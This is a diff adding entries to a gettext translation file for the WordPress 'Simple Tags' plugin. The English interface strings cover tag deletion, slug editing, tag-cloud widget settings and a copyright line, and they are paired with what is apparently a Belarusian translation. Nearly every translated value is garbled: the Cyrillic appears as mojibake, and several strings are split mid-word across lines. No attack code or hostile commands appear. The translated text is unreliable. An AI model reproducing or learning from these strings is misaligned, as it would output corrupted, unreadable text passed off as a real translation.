+msgstr "ÐÐ°ÐŒÑÐ»ÐºÐ°. ÐÑ Ð·Ð°ÐŽÐ°Ð»Ñ ÐœÑÐŽÐŸÑÑÑÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ñ ÑÐ°ÐŽÐºÑ ÐŽÐ»Ñ  Ð¿ÐµÑÐ°ÐœÐ°Ð·Ð²Ð°ÐœÐœÑ Ñ Ð·Ð°ÐœÐ°ÐŽÑÐ° ÑÐŒÐ°Ñ Ñ ÑÐ°ÐŽÐºÑ ÐŽÐ»Ñ Ð°Ð±'ÑÐŽÐœÐ°ÐœÐœÑ. ÐÑÐ»ÑÑÑÑÐµ Ð·ÐœÐŸÑ!"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1240
+msgid "No tag specified!"
+msgstr "ÐÐ°Ð·ÐœÐ°ÐºÑ ÐœÐµ Ð·Ð°ÐŽÐ°ÐŽÐ·ÐµÐœÑÑ!"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1265
+msgid "No tag deleted."
+msgstr "ÐÐ°Ð·ÐœÐ°ÐºÐ° ÐœÐµ Ð²ÑÐŽÐ°Ð»ÐµÐœÐ°Ñ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1268
+#, php-format
+msgid "%1s tag(s) deleted."
+msgstr "%s Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ð²ÑÐŽÐ°Ð»ÐµÐœÐ°Ðµ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1280
+msgid "No new tag(s) specified!"
+msgstr "ÐÐŸÐ²Ð°Ñ(ÑÐµ) Ð¿Ð°Ð·ÐœÐ°ÐºÐ°(Ñ) ÐœÐµ Ð·Ð°ÐŽÐ°ÐŽÐ·ÐµÐœÐ°Ñ(Ñ)!"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1328
+msgid "No tag added."
+msgstr "ÐÐ°Ð·ÐœÐ°ÐºÐ° ÐœÐµ ÐŽÐ°ÐŽÐ°ÐŽÐ·ÐµÐœÐ°Ñ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1331
+#, php-format
+msgid "Tag(s) added to %1s post(s)."
+msgstr "ÐÐ°Ð·ÐœÐ°ÐºÐ°(Ñ) ÐŽÐ°ÐŽÐ°ÐŽÐ·ÐµÐœÐ°Ñ(Ñ) Ñ %1s Ð·Ð°Ð¿ÑÑ(Ñ)."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1343
+msgid "No new slug(s) specified!"
+msgstr "ÐÐŸÐ²Ð°Ñ(ÑÐµ) ÐºÐ°ÑÐŸÑÐºÐ°Ñ(ÑÑ) ÑÐ¿Ð°ÑÑÐ»ÐºÐ°(Ñ) ÐœÐµ Ð·Ð°ÐŽÐ°ÐŽÐ·ÐµÐœÐ°Ñ(Ñ)!"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1359
+msgid "Tags number and slugs number isn't the same!"
+msgstr "ÐÑÐº Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ñ Ð»ÑÐº ÐºÐ°ÑÐŸÑÐºÑÑ
+ ÑÐ¿Ð°ÑÑÐ»Ð°Ðº ÐœÐµ Ð°ÐŽÐœÐŸÐ»ÑÐºÐ°Ð²Ð°Ðµ!"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1383
+msgid "No slug edited."
+msgstr "ÐÐŸÑÐŸÑÐœÐ°Ñ ÑÐ¿Ð°ÑÑÐ»ÐºÐ° ÐœÐµ Ð·ÐŒÐµÐœÐµÐœÐ°Ñ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1386
+#, php-format
+msgid "%s slug(s) edited."
+msgstr "%s ÐºÐ°ÑÐŸÑÐºÐ°Ñ(ÑÑ
+) ÑÐ¿Ð°ÑÑÐ»ÐºÐ°(ÐŸÐº) Ð°ÐŽÑÑÐŽÐ°Ð³Ð°Ð²Ð°ÐœÐ°Ñ(Ð°Ð±)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1404
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1089
+msgid "Nothing to muck. Good job !"
+msgstr "ÐÐŸÐ±ÑÐ°Ñ Ð¿ÑÐ°ÑÐ°!"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1429
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1117
+#, php-format
+msgid "%s rows deleted. WordPress DB is clean now !"
+msgstr "%s ÑÐ°ÐŽÐºÐŸÑ Ð²ÑÐŽÐ°Ð»ÐµÐœÐ°Ðµ. ÐÐ°Ð·Ð° ÐŽÐ°ÐŽÐ·ÐµÐœÑÑ
+ WordPress Ð·Ð°ÑÐ°Ð· ÑÑÑÑÐ°Ñ !"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1452
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1130
+msgid "Display click tags"
+msgstr "ÐÐ°ÐºÐ°Ð·Ð°ÑÑ ÐºÐ»ÑÐº-Ð¿Ð°Ð·ÐœÐ°ÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1452
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1131
+msgid "Hide click tags"
+msgstr "Ð¡Ñ
+Ð°Ð²Ð°ÑÑ ÐºÐ»ÑÐº-Ð¿Ð°Ð·ÐœÐ°ÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1504
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1148
+msgid "Suggested tags from :"
+msgstr "ÐÑÑÐŽÐ°ÑÐœÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ Ð· : "
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1505
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1149
+msgid "Local tags"
+msgstr "ÐÐ°ÐºÐ°Ð»ÑÐœÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1506
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1150
+msgid "Yahoo"
+msgstr "Yahoo"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1507
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1151
+msgid "Tag The Net"
+msgstr "Tag The Net"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1513
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1154
+msgid "Choose a provider to get suggested tags (local, yahoo or tag the net)."
+msgstr "ÐÑÐ»ÑÑÑÑÐµ Ð¿ÑÐ°Ð²Ð°Ð¹ÐŽÑÑÐ° ÐŽÐ»Ñ Ð°ÑÑÑÐŒÐ°ÐœÐœÑ Ð¿ÑÑÐŽÐ°ÑÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº (Ð»Ð°ÐºÐ°Ð»ÑÐœÑ, yahoo or tag the net)."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1742
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1238
+#, php-format
+msgid "%s post(s) tags updated with success !"
+msgstr "%s Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ð·Ð°Ð¿ÑÑÐ°Ñ Ð¿Ð°ÑÐ¿ÑÑ
+ÐŸÐ²Ð° Ð°Ð±ÐœÐŸÑÐ»ÐµÐœÐ°Ðµ !"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1744
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1236
+#, php-format
+msgid "%s page(s) tags updated with success !"
+msgstr "%s Ð¿Ð°Ð·Ð°ÐœÐ°Ðº ÑÑÐ°ÑÐŸÐœÐ°Ðº Ð¿Ð°ÑÐ¿ÑÑ
+ÐŸÐ²Ð° Ð°Ð±ÐœÐŸÑÐ»ÐµÐœÐ°Ðµ !"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2155
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1566
+#, php-format
+msgid "&copy; Copyright 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+msgstr "&copy; ÐÐ°Ð¿ÑÑÐ°Ð¹Ñ 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | ÐÐµÑÑÑÑ %s, Ð¿ÐµÑÐ°ÐºÐ»Ð°ÐŽ ÐœÐ° ÑÑÑÐºÑÑ ÐŒÐŸÐ²Ñ <a href=\"http://lecactus.ru/\" title=\"Lecactus\">Lecactus</a>"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2195
+msgid "Page: "
+msgstr "Ð¡ÑÐ°ÑÐŸÐœÐºÐ°:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2274
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1668
+msgid "General"
+msgstr "ÐÑÐœÐŸÑÐœÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2277
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1671
+msgid "Administration"
+msgstr "ÐÐŽÐŒÑÐœÑÑÑÑÐ°Ð²Ð°ÐœÐœÐµ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2280
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1674
+msgid "Meta Keyword"
+msgstr "ÐÐ»ÑÑÐ°Ð²ÑÑ ÑÐ»ÐŸÐ²Ñ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2283
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1677
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:242
+msgid "Embedded Tags"
+msgstr "Ð£Ð±ÑÐŽÐ°Ð²Ð°Ð»ÑÐœÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2286
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1680
+msgid "Tags for Current Post"
+msgstr "ÐÐ°Ð·ÐœÐ°ÐºÑ ÐŽÐ»Ñ Ð±ÑÐ³ÑÑÐ°Ð³Ð° Ð·Ð°Ð¿ÑÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2289
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1683
+msgid "Related Posts"
+msgstr "ÐÐ²ÑÐ·Ð°ÐœÑÑ Ð·Ð°Ð¿ÑÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2292
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1686
+msgid "Related Tags"
+msgstr "ÐÐ²ÑÐ·Ð°ÐœÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:2295
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1689
+msgid "Tag cloud"
+msgstr "ÐÐŸÐ±Ð»Ð°ÐºÐ° Ð¿Ð°Ð·Ð°ÐœÐ°Ðº"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:143
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:133
+msgid "Empty field will use default value."
+msgstr "ÐÑÑÑÑÑ Ð²ÐŸÐ±Ð»Ð°ÑÑÑ Ð±ÑÐŽÑÑÑ Ð²ÑÐºÐ°ÑÑÑÑÐ°ÑÑ Ð·ÐœÐ°ÑÑÐœÐœÑ Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:146
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:136
+msgid "Title:"
+msgstr "ÐÐ°Ð³Ð°Ð»ÐŸÐ²Ð°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:151
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:141
+msgid "Max tags to display: (default: 45)"
+msgstr "ÐÐ°ÐºÑÑÐŒÐ°Ð»ÑÐœÐ°Ðµ ÐºÐŸÐ»-Ñ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº ÐŽÐ» Ð°ÐŽÐ»ÑÑÑÑÐ°Ð²Ð°ÐœÐœÑ: (Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ: 45)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:156
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:146
+msgid "Tags selection:"
+msgstr "ÐÑÐ±Ð°Ñ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:159
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:170
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:149
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:160
+msgid "Inverse Alphabetical"
+msgstr "ÐÐ»ÑÐ°Ð²ÑÑ Ñ Ð·Ð²Ð°ÑÐŸÑÐœÑÐŒ Ð¿Ð°ÑÐ°ÐŽÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:160
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:150
+msgid "Most popular (default)"
+msgstr "ÐÐ°Ð¹Ð±ÐŸÐ»ÐµÐ¹ Ð¿Ð°Ð¿ÑÐ»ÑÑÐœÑÑ (Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:162
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:152
+msgid "Random"
+msgstr "ÐÑÐ¿Ð°ÐŽÐºÐŸÐ²Ð°"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:173
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:163
+msgid "Random (default)"
+msgstr "ÐÑÐ¿Ð°ÐŽÐºÐŸÐ²Ð° (Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:178
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:168
+msgid "Font size mini: (default: 8)"
+msgstr "ÐÑÐœÑÐŒÐ°Ð»ÑÐœÑ Ð¿Ð°ÐŒÐµÑ ÑÑÑÑÑÐ°: (Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ: 8)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:183
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:173
+msgid "Font size max: (default: 22)"
+msgstr "ÐÐ°ÐºÑÑÐŒÐ°Ð»ÑÐœÑ Ð¿Ð°ÐŒÐµÑ ÑÑÑÑÑÐ°: (Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ: 22)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:188
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:178
+msgid "Unit font size:"
+msgstr "ÐÐŽÐ·ÑÐœÐºÐ° Ð¿Ð°ÐŒÐµÑÑ ÑÑÑÑÑÐ°:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:190
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:180
+msgid "Point (default)"
+msgstr "ÐÑÐŸÐ¿ÐºÑ (Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:191
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:181
+msgid "Pixel"
+msgstr "ÐÑÐºÑÐµÐ»Ñ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:192
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:182
+msgid "Em"
+msgstr "Em"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:193
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:183
+msgid "Pourcent"
+msgstr "ÐÐŽÑÐŸÑÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:198
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:188
+msgid "Format:"
+msgstr "Ð€Ð°ÑÐŒÐ°Ñ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:200
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:190
+msgid "Flat (default)"
+msgstr "Flat (Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:201
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:191
+msgid "List (UL/LI)"
+msgstr "Ð¡Ð¿ÑÑ (UL/LI)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:207
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:197
+msgid "Use auto color cloud:"
+msgstr "ÐÑÐºÐ°ÑÑÑÑÐ°ÑÑ Ð°ÑÑÐ°ÐŒÐ°ÑÑÑÐœÑÑ ÑÐ°Ð·ÐŒÐ°Ð»ÑÑÐºÑ Ð²ÐŸÐ±Ð»Ð°ÐºÐ°:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:211
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:201
+msgid "Font color mini: (default: #CCCCCC)"
+msgstr "ÐÐŸÐ»ÐµÑ ÑÑÑÑÑÐ° ÐŒÑÐœÑÐŒÐ°Ð»ÑÐœÑÑ
+: (Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ: #CCCCCC)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:216
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:206
+msgid "Font color max: (default: #000000)"
+msgstr "ÐÐŸÐ»ÐµÑ ÑÑÑÑÑÐ° ÐŒÐ°ÐºÑÑÐŒÐ°Ð»ÑÐœÑÑ
+ (Ð¿Ð° Ð·ÐŒÐ°ÑÑÐ°ÐœÐœÑ: #000000)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:221
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:211
+msgid "Extended format: (advanced usage)"
+msgstr "ÐÐ°ÑÑÑÐ°ÐœÑ ÑÐ°ÑÐŒÐ°Ñ: (Ð¿Ð°ÑÑÑÐ°ÐœÐ°Ðµ Ð²ÑÐºÐ°ÑÑÑÑÐ°ÐœÐœÐµ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:252
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:242
+msgid "Tag Cloud Widgets"
+msgstr "ÐÐžÐŽÐ¶ÐµÑÑ Ð°Ð±Ð»ÐŸÐºÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:253
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:243
+msgid "How many tag cloud widgets would you like?"
+msgstr "Ð¯Ðº ÑÐŒÐ°Ñ Ð²ÐžÐŽÐ¶ÐµÑÐŸÐ² Ð°Ð±Ð»ÐŸÐºÐ°Ñ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ð²Ñ Ð¶Ð°ÐŽÐ°ÐµÑÐµ?"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:257
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:247
+msgid "Save"
+msgstr "ÐÐ°Ñ
+Ð°Ð²Ð°ÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:274
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:275
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:265
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:266
+#, php-format
+msgid "Extended Tag Cloud %d"
+msgstr "ÐÐ°ÑÑÑÐ°ÐœÐ°Ðµ Ð²ÐŸÐ±Ð»Ð°ÐºÐ° Ð¿Ð°Ð·Ð°ÐœÐ°Ðº %d"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:111
+msgid "No tags for this post."
+msgstr "Ð£ Ð·Ð°Ð¿ÑÑÑ ÐœÑÐŒÐ° Ð¿Ð°Ð·Ð°ÐœÐ°Ðº."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:123
+msgid "No related tags found."
+msgstr "ÐÐ²ÑÐ·Ð°ÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº ÐœÐµ Ð·ÐœÐŸÐ¹ÐŽÐ·ÐµÐœÐ°."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:1113
+msgid "<a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "<a %tag_rel% href=\"%tag_link_remove%\" title=\"ÐÑÑÐ±ÑÐ°ÑÑ %tag_name_attribute% from search\">ÐÑÑÐ±ÑÐ°ÑÑ %tag_name%</a>"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:1502
+msgid "<a href=\"%tag_link%\" title=\"%tag_name_attribute%\" %tag_rel%>%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" title=\"%tag_name_attribute%\" %tag_rel%>%tag_name%</a>"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:218
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:522
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:575
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:818
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "ÐÐ°Ð²ÐµÐŽÐ°ÐµÑÐµ <a href=\"http://code.google.com/p/simple-tags/\">Ñ
+Ð°ÑÐœÑÑ ÑÑÐ°ÑÐŸÐœÐºÑ ÑÐ±ÑÐŽÐŸÐ²Ñ</a> ÐŽÐ»Ñ Ð²ÑÐ»ÑÐºÑÑ
+ ÐŽÑÑÐ°Ð»ÑÑ. ÐÐ°Ð»Ñ Ð²Ñ Ð·ÐœÐ°Ð¹ÑÐ»Ñ Ð¿Ð°ÐŒÑÐ»ÐºÑ, Ð°Ð±ÐŸ ÐŒÐ°ÐµÑÐµ ÑÐ°ÐœÑÐ°ÑÑÑÑÐœÑÑ ÑÐŽÑÑ ÐŽÐ»Ñ Ð³ÑÑÐ°Ð¹ ÑÐ±ÑÐŽÐŸÐ²Ñ, <a href=\"mailto:amaury@wordpress-fr.net\">Ð·Ð²ÑÐ¶ÑÑÐµÑÑ ÑÐ° ÐŒÐœÐŸÐ¹</a> !"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:225
+msgid "Options"
+msgstr "ÐÐ°Ð»Ð°ÐŽÑ"
+
